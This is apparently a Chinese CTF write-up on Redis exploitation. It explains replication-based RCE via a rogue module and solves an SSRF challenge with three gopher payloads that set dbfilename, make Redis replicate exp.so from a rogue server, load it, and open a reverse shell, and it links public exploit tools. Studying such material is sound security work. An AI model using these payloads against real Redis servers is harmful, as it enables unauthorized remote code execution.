简介
Remote Dictionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。
Redis被攻击主要是因为一些配置不当导致,如未授权访问/弱口令.
针对redis的攻击有很多种,最常见的是通过写入文件getshell
1 | redis-cli -h 192.168.230.131 |
这种利用方式也依赖crontab/ssh服务,在docker这种单一容器中很难利用.
在2019年的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大 .
攻击场景:
- 能够访问远程redis的端口(直接访问或者SSRF)
- 对redis服务器可以访问到的另一台服务器有控制权
Redis主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点 . 这是一种以空间置换时间的分布式的工作方案, 可以减轻主机缓存压力,避免单点故障
通过数据复制,Redis 的一个 master 可以挂载多个 slave,而 slave 下还可以挂载多个 slave,形成多层嵌套结构。所有写操作都在 master 实例中进行,master 执行完毕后,将写指令分发给挂在自己下面的 slave 节点。slave 节点下如果有嵌套的 slave,会将收到的写指令进一步分发给挂在自己下面的 slave
开启主从复制三种方式:
1 | 配置文件: 在从服务器的配置文件中加入:slaveof <masterip> <masterport> |
工作流程:
通过主从复制 GetShell
漏洞详细利用原理和利用代码编写方式: https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件
加载so文件:
1 | MODULE LOAD /path/to/mymodule.so |
利用exp和so文件代码: https://github.com/vulhub/redis-rogue-getshell
复现环境: https://github.com/vulhub/vulhub/tree/master/redis/4-unacc
直接用POC打即可
[网鼎杯 2020 玄武组]SSRFMe
参考https://blog.csdn.net/weixin_43610673/article/details/106457180
exp.so: https://github.com/n0b0dyCN/redis-rogue-server
恶意server: https://github.com/xmsec/redis-ssrf , 这里生成的payload是协议控制, 比较麻烦. 可以使用文本控制.
gopher://0.0.0.0:6379/_auth%2520root%250aconfig%2520set%2520dir%2520%252ftmp%252f%250aquit
gopher://0.0.0.0:6379/_auth%2520root%250Aconfig%2520set%2520dbfilename%2520exp.so%250Aslaveof%2520127.0.0.1%25206666%250Aquit
gopher://0.0.0.0:6379/_auth%2520root%250Amodule%2520load%2520%252Ftmp%252Fexp.so%250Asystem.rev%2520127.0.0.1%25206663%250Aquit
(可以写shell脚本防止exp.so传输中断)
flag{f0512f8c-0df8-4ba7-b21c-01feaaabdc14}
Reference
https://blog.csdn.net/weixin_45551083/article/details/107570654
https://blog.csdn.net/weixin_45551083/article/details/107443073
https://xz.aliyun.com/t/5616#toc-0
https://segmentfault.com/a/1190000018268350
http://yulige.top/?p=775#i-13 郁离歌
https://xz.aliyun.com/t/5616#toc-0 Redis 4.x RCE分析